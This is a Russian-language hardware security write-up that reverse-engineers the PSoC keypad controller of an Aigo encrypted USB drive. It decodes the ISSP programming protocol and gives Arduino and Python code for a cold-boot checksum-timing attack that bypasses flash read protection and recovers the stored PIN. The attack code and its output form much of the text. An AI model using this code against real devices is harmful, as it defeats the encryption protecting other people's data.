вре мя на то, что бы про верить свою догад ку, я обна ружил, что это не син хро‐ 
сиг нал,  а  ауди опо ток,  который  выводит ся  на  пищал ку  при  нажатии  кла виш.
Поэто му  сам  по  себе  этот  учас ток  сиг нала  не  содер жит  для  нас  полез ной
информа ции. Одна ко его мож но исполь зовать в качес тве инди като ра — что‐ 
бы знать момент, ког да PSoC регис три рует нажатие кла виши.

Но  пос ледний  ауди опо ток  канала  P4  нем ного  отли чает ся  от  дру гих:
это звук для «невер ного ПИН‐кода»!

Воз вра щаясь  к  диаг рамме  нажатия  кла виш,  при  уве личе нии  диаг раммы
пос ледне го ауди опо тока (см. сно ва синий пря моуголь ник) получа ем:

Здесь мы  видим одно образные  сиг налы  на P11.  Так  что,  похоже,  это  и  есть
син хро сиг нал.  А  P13 —  дан ные.  Обра ти  вни мание,  как  шаб лон  изме няет ся
пос ле  окон чания  зву ково го  сиг нала.  Было  бы  инте рес но  пос мотреть,  что
здесь про исхо дит.

Про токо лы,  работа ющие  с  дву мя  про вода ми, —  это  обыч но SPI  или  I2C,
и в тех ничес кой спе цифи кации на Cypress говорит ся, что эти кон такты соот‐ 
ветс тву ют I2C. Как видим, это спра вед ливо и для нашего слу чая:

Чип сет USB‐SATA пос тоян но опра шива ет PSoC — что бы счи тывать сос тояние
кла виши, которое по умол чанию рав но 0. Затем, при нажатии кла виши 1, оно
меня ется на 1. Окон чатель ная переда ча, сра зу пос ле нажатия  , отли чает ся,
если  вве ден  невер ный ПИН‐код. Одна ко  на  дан ный  момент  я  не  про верял,
что там фак тичес ки переда ется. Но подоз реваю, что вряд ли это ключ шиф‐ 
рования.  Так  или  ина че,  нас тало  вре мя  снять  дамп  внут ренней  про шив ки
PSoC.

✓

На чина ем сни мать дамп с внут ренней флеш ки PSoC
Итак,  все  ука зыва ет  на  то,  что  ПИН‐код  хра нит ся  во  флеш‐нед рах  PSoC.
Поэто му нам нуж но про читать эти флеш‐нед ра. Фронт необ ходимых работ:

взять под кон троль «обще ние» с мик рокон трол лером;•
най ти  спо соб  про верить,  защище но  ли  это  «обще ние»  от  счи тыва ния
извне;

•

най ти спо соб обхо да защиты.•

Су щес тву ет два мес та, где име ет смысл искать дей ству ющий ПИН‐код:
внут ренняя флеш‐память;•
SRAM, где ПИН‐код может хра нить ся для срав нения его с тем ПИН‐кодом,
который вво дит ся поль зовате лем.

•

За бегая  впе ред,  отме чу,  что  мне  все‐таки  уда лось  снять  дамп  внут ренней
флеш ки  PSoC,  обой дя  ее  сис тему  защиты  пос редс твом  аппа рат ной  ата ки
«трас сиров ка  с  холод ной  перезаг рузкой»  —  пос ле  ревер синга  недоку мен‐ 
тирован ных  воз можнос тей  ISSP‐про токо ла.  Это  поз волило  мне  нап рямую
сни мать дамп дей ству юще го ПИН‐кода.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Ито говый прог рам мный код:
;• Arduino‐код для HSSP

.• драй вер на Python и ISSP‐дизас сем блер

ISSP-ПРОТОКОЛ
Что такое ISSP
«Обще ние»  с  мик рокон трол лером  может  озна чать  раз ные  вещи:  от  endor
to  vendor  до  вза имо дей ствия  с  при мене нием пос ледова тель ного  про токо ла
(нап ример, ICSP для Microchip’овско го PIC).

У  Cypress  для  это го  собс твен ный  проп риетар ный  про токол,  называ емый
ISSP (in‐system serial programming protocol — внут рисис темный про токол пос‐ 
ледова тель ного прог рамми рова ния), который час тично опи сан в 

.    так же  дает  некото рую  информа цию.  Есть
и open source ана лог, называ емый HSSP (мы вос поль зуем ся им чуть поз же).
ISSP работа ет сле дующим обра зом:

тех ничес кой
спе цифи кации Па тент  US7185162

пе резаг рузить PSoC;•
вы вес ти магичес кое чис ло на нож ку пос ледова тель ных дан ных этой PSoC
(для вхо да в режим внеш него прог рамми рова ния);

•

от пра вить коман ды, которые пред став ляют собой длин ные битовые стро‐ 
ки, называ емые век торами.

•

В докумен тации на ISSP эти век торы опре деле ны лишь для неболь шой горс‐ 
тки команд:

Initialize‐1;•
Initialize‐2;•
Initialize‐3 (вари анты 3V и 5V);•
ID‐SETUP;•
READ‐ID‐WORD;•
SET‐BLOCK‐NUM: 10011111010dddddddd111, где dddddddd=block #;•
BULK ERASE;•
PROGRAM‐BLOCK;•
VERIFY‐SETUP;•
READ‐BYTE:  10110aaaaaaZDDDDDDDDZ1,  где  DDDDDDDD  =  data  out,
aaaaaa = адрес (6 бит);

•

WRITE‐BYTE:  10010aaaaaadddddddd111,  где  dddddddd  =  data  in,  aaaaaa  =
адрес (6 бит);

•

SECURE;•
CHECKSUM‐SETUP;•
READ‐CHECKSUM:  10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1,
где DDDDDDDDDDDDDDDD = data out: кон троль ная сум ма девай са;

•

ERASE BLOCK.•

Нап ример, век тор для Initialize‐2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

У всех век торов оди нако вая дли на — 22 бита. В докумен тации на HSSP есть
некото рые  допол нитель ные  све дения  по  ISSP:  «ISSP‐век тор  —  это  не  что
иное,  как  битовая  пос ледова тель ность,  пред став ляющая  собой  набор  инс‐ 
трук ций».

Продолжение статьи →
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Де мис тифика ция век торов
Раз берем ся,  что  здесь  про исхо дит.  Пер воначаль но  я  пред полагал,  что  эти
самые век торы пред став ляют собой  raw‐вари анты M8C‐инс трук ций, одна ко,
про верив эту гипоте зу, я обна ружил, что опко ды опе раций не сов пада ют.

За тем я загуг лил при веден ный выше век тор и нат кнул ся на   иссле‐ 
дова ние, где автор, хотя и не пог ружа ется в детали, дает нес коль ко дель ных
под ска зок: «Каж дая инс трук ция начина ется с трех бит, которые соот ветс тву ют
одной  из  четырех мне моник  (про читать  из RAM,  записать  в RAM,  про читать
регистр,  записать  регистр).  Затем  идет  восемь  бит  адре са,  пос ле  чего
восемь бит дан ных (счи тан ные или для записи) и, наконец, три стоп‐бита».

вот это

За тем мне  уда лось  почер пнуть  очень  полез ную информа цию из  раз дела
«Supervisory  ROM  (SROM)»  .  SROM —  это  жес тко
закоди рован ная ROM в PSoC, которая пре дос тавля ет сер висные фун кции (по
тому  же  прин ципу,  что  и  Syscall),  —  для  прог рам мно го  кода,  запущен ного
в поль зователь ском прос транс тве:

тех ничес кого  руководс тва

00h : SWBootReset•
01h : ReadBlock•
02h : WriteBlock•
03h : EraseBlock•
06h : TableRead•
07h : CheckSum•
08h : Calibrate0•
09h : Calibrate1•

Срав нивая име на век торов с фун кци ями SROM, мы можем сопос тавить опе‐ 
рации,  под держи ваемые  этим  про токо лом,  с  ожи даемы ми  SROM‐парамет‐ 
рами. Бла года ря это му можем декоди ровать пер вые три бита ISSP‐век торов:

100 => wrmem•
101 => rdmem•
110 => wrreg•
111 => rdreg•

Од нако пол ное понима ние внут ричипо вых про цес сов мож но получить толь ко
при непос редс твен ном обще нии с PSoC.

Об щение с PSoC
Пос коль ку Дирк Пет раут ский уже   Cypress’овский HSSP‐код на Ar‐
duino,  я  вос поль зовал ся  Arduino  Uno  для  под клю чения  к  ISSP‐разъ ему  кла‐ 
виатур ной пла ты.

пор тировал

Об рати  вни мание,  что  в  ходе  сво их  иссле дова ний  я  доволь но  силь но
изме нил код Дир ка. Мою модифи кацию мож но най ти на GitHub:  , соот‐ 
ветс тву ющий  Python‐скрипт  для  обще ния  с  Arduino —  в  моем  репози тории

.

здесь

cypress_psoc_tools
Итак,  при меняя  Arduino,  я  сна чала  исполь зовал  для  «обще ния»  толь ко

«офи циаль ные» век торы. Я попытал ся про читать внут реннюю ROM, исполь зуя
коман ду VERIFY. Как и ожи далось,  это го мне сде лать не  уда лось. Веро ятно,
из‐за того, что внут ри флеш ки акти виро ваны биты защиты от счи тыва ния.

За тем я соз дал нес коль ко сво их прос тень ких век торов для записи и чте‐ 
ния  памяти/регис тров. Обра ти  вни мание,  что  мы можем  читать  всю  SROM,
даже нес мотря на то, что флеш ка защище на!

Иден тифика ция внут ричипо вых регис тров
Пос мотрев  на  «дизас сем бли рован ные»  век торы,  я  обна ружил,  что  девайс
исполь зует  недоку мен тирован ные  регис тры  (0xF8–0xFA)  для  ука зания M8C‐
опко дов,  которые  выпол няют ся  нап рямую,  в  обход  защиты.  Это  поз волило
мне  запус кать  раз личные  опко ды,  такие  как  «ADD»,  «MOV  A,  X»,  «PUSH»
или  «JMP».  Бла года ря  им  (гля дя  на  побоч ные  эффекты,  ока зыва емые  ими
на  регис тры)  я  смог  опре делить,  какие  из  недоку мен тирован ных  регис тров
фак тичес ки явля ются обыч ными регис тра ми (A, X, SP и PC).

В  ито ге  «дизас сем бли рован ный»  код,  сге нери рован ный  инс тру мен том
HSSP_disas.rb, выг лядит так (для ясности я добавил ком мента рии):

‐‐== init2 ==‐‐
[DE E0 1C] wrreg CPU_F (f7), 0x00   # Сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # Сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # Обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # Аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # Сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM‐указатель для выходных 
данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # Номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Superv
isory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокументированная 
операция: выполнить внешний опкод

За щит ные биты
На дан ном эта пе  я  уже могу общать ся  с PSoC,  но  у меня  все еще нет дос‐ 
товер ной информа ции о  защит ных битах флеш ки. Я был очень  удив лен,  что
Cypress не дает поль зовате лю девай са никаких средств для того, что бы про‐ 
верить,  акти виро вана ли  защита. Я  углу бил ся  в Google,  что бы окон чатель но
понять, что HSSP‐код, пре дос тавлен ный Cypress’ом, был обновлен уже пос ле
того, как Дирк выпус тил свою модифи кацию. В резуль тате появил ся вот такой
новый век тор:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # Неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # Аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # Недокументированный syscall!
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ис поль зуя  этот  век тор  (см.  read_security_data  в  psoc.py),  мы  получа ем  все
защит ные биты в SRAM в 0x80, где на каж дый защища емый блок при ходит ся
по два бита.

Ре зуль тат  удру чает: все защище но в режиме «отклю чить внеш ние чте ние
и запись». Поэто му мы не толь ко счи тывать с флеш ки ничего не можем, но и
записы вать  тоже  (что бы,  нап ример,  внед рить  туда  ROM‐дам пер).  А  единс‐ 
твен ный спо соб отклю чить защиту — пол ностью сте реть весь чип. :(

ПЕРВАЯ (НЕУДАВШАЯСЯ) АТАКА: ROMX
Од нако  мы  можем  поп робовать  сде лать  сле дующий  трюк:  пос коль ку  у  нас
есть воз можность выпол нять про изволь ные опко ды, почему бы не выпол нить
ROMX, который при меня ется для чте ния флеш‐памяти? У такого под хода есть
неп лохие шан сы на успех. Потому что фун кция ReadBlock, счи тыва ющая дан‐ 
ные из SROM  (которая  исполь зует ся  век торами),  про веря ет,  вызыва ется  ли
она из  ISSP. Одна ко опкод ROMX, пред положи тель но, может не иметь такой
про вер ки. Итак, вот Python‐код (пос ле добав ления нес коль ких вспо мога тель‐ 
ных клас сов в сиш ный Arduino‐код):

for i in range(0, 8192):
   write_reg(0xF0, i>>8)       # A = 0
   write_reg(0xF3, i&0xFF)     # X = 0
   exec_opcodes("\x28\x30\x40")    # ROMX, HALT, NOP
   byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
   print "%02x" % ord(byte[0]) # print ROM byte

К  сожале нию,  этот  код  не  работа ет.  :(  Вер нее,  работа ет,  но  мы  на  выходе
получа ем  свои  собс твен ные  опко ды  (0x28  0x30  0x40)!  Не  думаю,  что  соот‐ 
ветс тву ющая фун кци ональ ность девай са слу жит эле мен том защиты от чте ния.
Это боль ше похоже на инже нер ный трюк: при выпол нении внеш них опко дов
ROM’овская шина перенап равля ется на вре мен ный буфер.

ВТОРАЯ АТАКА: ТРАССИРОВКА С ХОЛОДНОЙ ПЕРЕЗАГРУЗКОЙ
Пос коль ку  трюк  с  ROMX  не  сра ботал,  я  стал  обду мывать  дру гую  вари ацию
это го трю ка — опи сан ную в пуб ликации 

.
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Ре али зация
В докумен тации на ISSP при веден сле дующий век тор для CHECKSUM‐SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Здесь про изво дит ся вызов SROM‐фун кции 0x07, как пред став лено в докумен‐ 
тации (шир ный шрифт мой):

Это фун кция про вер ки кон троль ной сум мы. Она вычис ляет 16-битовую
кон троль ную  сум му  количес тва  бло ков,  задан ных  поль зовате лем,
в одном флеш‑бан ке, отсчи тывая с нуля. Параметр BLOCKID исполь- 
зует ся для переда чи количес тва бло ков, которое будет исполь зовать- 
ся при рас чете кон троль ной сум мы. Зна чение 1 будет вычис лять кон- 
троль ную  сум му  толь ко  для  нулево го  бло ка,  тог да  как 

 В парамет ре KEY1 фик сиру ются
млад шие  8  бит  кон троль ной  сум мы,  а  в  KEY2  —  стар шие  8  бит.
Для  девай сов  с  нес коль кими  флеш‑бан ками  фун кция  кон троль ной
сум мы  вызыва ется  для  каж дого  по  отдель нос ти.  Номер  бан ка,
с  которым  она  будет  работать,  зада ется  регис тром  FLS_PR1  (путем
уста нов ки в нем бита, соот ветс тву юще го целево му флеш‑бан ку).

0  при ведет
к  тому,  что  будет  вычис лена  общая  кон троль ная  сум ма
всех 256 бло ков флеш‐бан ка.  16‐битовая  кон троль ная  сум ма
воз вра щает ся через KEY1 и KEY2.

Об рати вни мание, что это прос тей шая кон троль ная сум ма: бай ты прос то сум‐ 
миру ются  один  за  дру гим;  никаких  изощ ренных  CRC‐при чуд.  Кро ме  того,
зная,  что  в  ядре  M8C  набор  регис тров  очень  невелик,  я  пред положил,  что
при  вычис лении  кон троль ной  сум мы  про межу точ ные  зна чения  будут  фик‐ 
сировать ся  в  тех  же  самых  перемен ных,  которые  в  ито ге  пой дут  на  выход:
KEY1 (0xF8) / KEY2 (0xF9).

Итак, в теории моя ата ка выг лядит так:
1. Со еди няем ся через ISSP.
2. За пус каем  вычис ление  кон троль ной  сум мы  с  исполь зовани ем  век тора
CHECKSUM‐SETUP.

3. Пе резаг ружа ем про цес сор через задан ное вре мя T.
4. Счи тыва ем RAM, что бы получить текущую кон троль ную сум му C.
5. Пов торя ем шаги 3 и 4, каж дый раз нем ного уве личи вая T.
6. Вос ста нав лива ем  дан ные  из  флеш ки,  вычитая  пре дыду щую  кон троль ную
сум му C из текущей.

Од нако воз никла проб лема: век тор Initialize‐1, который мы дол жны отпра вить
пос ле перезаг рузки, переза писы вает KEY1 и KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим 
программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # Контрольная сумма перезаписывается 
здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM‐функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Этот код затира ет нашу дра гоцен ную кон троль ную сум му, вызывая Calibrate1
(SROM‐фун кция 9)… Может быть, нам удас тся, прос то отпра вив магичес кое
чис ло  (из начала при веден ного выше кода), вой ти в режим прог рамми рова‐ 
ния и затем счи тать SRAM? И да, это работа ет! Arduino‐код, реали зующий эту
ата ку, доволь но прост:

case Cmnd_STK_START_CSUM:
   checksum_delay = ((uint32_t)getch())<<24;
   checksum_delay |= ((uint32_t)getch())<<16;
   checksum_delay |= ((uint32_t)getch())<<8;
   checksum_delay |= getch();
   if(checksum_delay > 10000) {
       ms_delay = checksum_delay/1000;
       checksum_delay = checksum_delay%1000;
   }
   else {
       ms_delay = 0;
   }
   send_checksum_v();
   if(checksum_delay)
       delayMicroseconds(checksum_delay);
   delay(ms_delay);
   start_pmode();

1. Счи тать checkum_delay.
2. За пус тить вычис ление кон троль ной сум мы (send_checksum_v).
3. По дож дать  задан ный  про межу ток  вре мени,  учи тывая  сле дующие  под‐ 
водные кам ни:

я  убил  уйму  вре мени,  пока  не  узнал,  что,  ока зыва ется, 
  работа ет  кор рек тно  толь ко  с  задер жка ми,  не  пре выша ющи‐ 

ми 16 383 мкс;

• delayMicrosec‐
onds

и  затем  сно ва  убил  столь ко  же  вре мени,  пока  не  обна ружил,  что  de‐
layMicroseconds,  если  ей  на  вход  передать  0,  работа ет  совер шенно
неп равиль но!

•

4. Пе резаг рузить  PSoC  в  режим  прог рамми рова ния  (прос то  отправ ляем
магичес кое чис ло, без отправ ки ини циали зиру ющих век торов).

Ито говый код на Python:

for delay in range(0, 150000):  # Задержка в микросекундах
   for i in range(0, 10):      # Количество считывания для каждой 
из задержек
       try:
           reset_psoc(quiet=True)  # Перезагрузка и вход в режим 
программирования
           send_vectors()      # Отправка инициализирующих векторов
           ser.write("\x85"+struct.pack(">I", delay)) # Вычислить 
контрольную сумму + перезагрузиться после задержки
           res = ser.read(1)       # Считать Arduino ACK
       except Exception as e:
           print e
           ser.close()
           os.system("timeout ‐s KILL 1s picocom ‐b 115200 /dev/
ttyACM0 2>&1 > /dev/null")
           ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) 
# Открыть последовательный порт
           continue
       print "%05d %02X %02X %02X" % (delay,      # Считать 
RAM‐байты
               read_regb(0xf1),
               read_ramb(0xf8),
               read_ramb(0xf9))

В двух сло вах, что дела ет этот код:
1. Пе резаг ружа ет PSoC (и отправ ляет ему магичес кое чис ло).
2. От прав ляет пол ноцен ные век торы ини циали зации.
3. Вы зыва ет Arduino‐фун кцию Cmnd_STK_START_CSUM (0x85), куда в качес‐ 
тве парамет ра переда ется задер жка в мик росекун дах.

4. Счи тыва ет  кон троль ную  сум му  (0xF8  и  0xF9)  и  недоку мен тирован ный
регистр 0xF1.

Этот код выпол няет ся по десять раз за одну мик росекун ду. 0xF1 сюда вклю‐ 
чен,  пос коль ку  был  единс твен ным  регис тром,  который  менял ся  при  вычис‐ 
лении  кон троль ной  сум мы.  Воз можно,  это  какая‐то  вре мен ная  перемен ная,
исполь зуемая  ариф метико‐логичес ким  устрой ством.  Обра ти  вни мание
на урод ливый хак, которым я перезаг ружаю Arduino, исполь зуя picocom, ког да
Arduino перес тает подавать приз наки жиз ни (понятия не имею почему).

Счи тыва ем резуль тат
Ре зуль тат работы Python‐скрип та выг лядит так (упро щен для удо бочи таемос‐ 
ти):

DELAY F1 F8 F9  # F1 — упомянутый неизвестный регистр
                 # F8 — младший байт контрольной суммы
                 # F9 — старший байт контрольной суммы
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # Контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1‐й байт: 0x0080‐0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2‐й байт: 0xE7‐0x80: 0x67
00057 CC E7 00
00057 01 17 01  # Понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хм‐м‐м
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот же он, перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117‐0xE7: 0x30

При  этом  у  нас  есть  проб лема:  пос коль ку  мы  опе риру ем  фак тичес кой  кон‐ 
троль ной сум мой, нулевой байт не меня ет счи тан ное зна чение. Одна ко, пос‐ 
коль ку вся про цеду ра вычис ления  (8192 байт) занима ет 0,1478 с  (с неболь‐ 
шими  откло нени ями  при  каж дом  запус ке),  что  при мер но  соот ветс тву‐ 
ет 18,04 мкс на байт, мы можем исполь зовать это вре мя для про вер ки зна‐ 
чения кон троль ной сум мы в под ходящие момен ты. Для пер вых про гонов все
счи тыва ется  доволь но‐таки  лег ко,  пос коль ку  дли тель ность  выпол нения
вычис литель ной  про цеду ры  всег да  прак тичес ки  оди нако вая.  Одна ко  конец
это го  дам па  менее  точен,  потому  что  «нез начитель ные  откло нения  по  вре‐ 
мени» при каж дом про гоне сум миру ются и ста новят ся зна читель ными:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Это  десять  дам пов  для  каж дой  мик росекун дной  задер жки.  Общее  вре мя
работы для сня тия дам па всех 8192 байт флеш ки сос тавля ет поряд ка 48 ч.

Ре конс трук ция флеш‑бинар ника
Я пока  еще  не  завер шил  код,  который  пол ностью реконс тру ирует  прог рам‐ 
мный код флеш ки с уче том всех откло нений по вре мени. Одна ко начало это го
кода я уже вос ста новил. Что бы убе дить ся в том, что сде лал это кор рек тно, я
дизас сем бли ровал его при помощи m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Выг лядит впол не прав доподоб но!

На ходим адрес хра нения ПИН‑кода
Те перь, ког да мы можем счи тывать кон троль ную сум му в нуж ные нам момен‐ 
ты вре мени, мы можем лег ко про верить, как и где она меня ется, ког да мы:

вво дим невер ный ПИН‐код;•
из мененя ем ПИН‐код.•

Вна чале,  что бы  най ти  приб лизитель ный  адрес  хра нения,  я  снял  дамп  кон‐ 
троль ной сум мы с шагом в 10 мс, пос ле перезаг рузки. Затем я ввел невер ный
ПИН‐код и сде лал то же самое.

Ре зуль тат ока зал ся не очень при ятным, пос коль ку изме нений было мно го.
Но  в  кон це  кон цов  мне  уда лось  уста новить,  что  кон троль ная  сум ма  изме‐ 
нилась  где‐то  в  про межут ке  меж ду  120  000  мкс  и  140  000  мкс  задер жки.
Но  «ПИН‐код»,  который  я  там  обна ружил,  был  абсо лют но  неп равиль ный —
из‐за  арте фак та  про цеду ры  delayMicroseconds,  которая  дела ет  непонят ные
вещи, ког да ей переда ется 0.

За тем, пот ратив поч ти три часа, я вспом нил, что SROM’овский сис темный
вызов CheckSum на вхо де получа ет аргу мент,  зада ющий  количес тво бло ков
для  кон троль ной сум мы! Таким обра зом, мы можем без  тру да локали зовать
адрес хра нения ПИН‐кода и счет чика «невер ных попыток» с точ ностью до 64‐
бай тового бло ка.

Мои пер воначаль ные про гоны дали сле дующий резуль тат:

За тем я поменял ПИН‐код с 123456 на 1234567 и получил:

Та ким  обра зом,  ПИН‐код  и  счет чик  невер ных  попыток,  похоже,  хра нят ся
в бло ке 126.

Сни маем дамп бло ка 126
Блок 126 дол жен рас полагать ся где‐то в рай оне 125 x 64 x 18 = 144 000 мкс
от начала рас чета кон троль ной сум мы в моем пол ном дам пе, и он выг лядит
впол не  прав доподоб но.  Затем,  пос ле  руч ного  отсе ива ния  мно гочис ленных
невер ных  дам пов  (из‐за  накоп ления  «нез начитель ных  откло нений  по  вре‐ 
мени»), я в ито ге получил вот такие бай ты (на задер жке 145 527 мкс):

Со вер шенно оче вид но, что ПИН‐код хра нит ся в незашиф рован ном виде! Эти
зна чения,  конеч но,  записа ны  не  в  ASCII‐кодах,  но,  как  ока залось,  отра жают
показа ния, сня тые с емкос тной кла виату ры.

На конец, я про вел еще нес коль ко тес тов, что бы най ти, где хра нит ся счет‐ 
чик невер ных попыток. Вот резуль тат:

0xFF озна чает «15 попыток», и он умень шает ся при каж дой невер ной попыт ке.

Вос ста нов ление ПИН‑кода
Вот мой урод ливый код, который собира ет вмес те все ска зан ное выше:

def dump_pin():
 pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 

0x21: "5",
       0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
 last_csum = 0
 pin_bytes = []
 for delay in range(145495, 145719, 16):
   csum = csum_at(delay, 1)
   byte = (csum‐last_csum)&0xFF
   print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
   pin_bytes.append(byte)
   last_csum = csum
 print "PIN: ",
 for i in range(0, len(pin_bytes)):
   if pin_bytes[i] in pin_map:
     print pin_map[pin_bytes[i]],
 print

Вот резуль тат его выпол нения:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ура! Работа ет!
Важ ный момент: зна чения задер жки, исполь зован ные мной, ско рее все го,

акту аль ны для одно го кон крет ного PSoC — того, которым поль зовал ся я.

ЧТО ДАЛЬШЕ?
Итак, под ведем ито ги на сто роне PSoC, в кон тек сте нашего накопи теля Aigo:

мы можем счи тывать SRAM, даже если она защище на от счи тыва ния;•
мы можем обой ти защиту от счи тыва ния пос редс твом ата ки «трас сиров ка
с холод ной перезаг рузкой» и непос редс твен ного счи тыва ния ПИН‐кода.

•

Тем не менее у нашей ата ки есть некото рые недора бот ки — из‐за проб лем
с син хро низа цией. Ее мож но было бы улуч шить сле дующим обра зом:

на писать  ути литу  для  пра виль ного  декоди рова ния  выход ных  дан ных,
которые  получе ны  в  резуль тате  ата ки  «трас сиров ка  с  холод ной  перезаг‐ 
рузкой»;

•

ис поль зовать  FPGA‐при моч ку  для  соз дания  более  точ ных  вре мен ных
задер жек (или исполь зовать аппа рат ные тай меры Arduino);

•

поп робовать  еще  одну  ата ку:  ввес ти  заведо мо  невер ный  ПИН‐код,
перезаг рузить  и  сдам пить RAM,  наде ясь  на  то,  что  пра виль ный ПИН‐код
ока жет ся сох ранен ным в RAM, для срав нения. Одна ко на Arduino это сде‐ 
лать не так‐то прос то, пос коль ку уро вень сиг нала Arduino сос тавля ет 5 В,
в то вре мя как иссле дуемая нами пла та работа ет с сиг налами в 3,3 В.

•

Од на  инте рес ная  вещь,  которую  мож но  было  бы  поп робовать, —  поиг рать
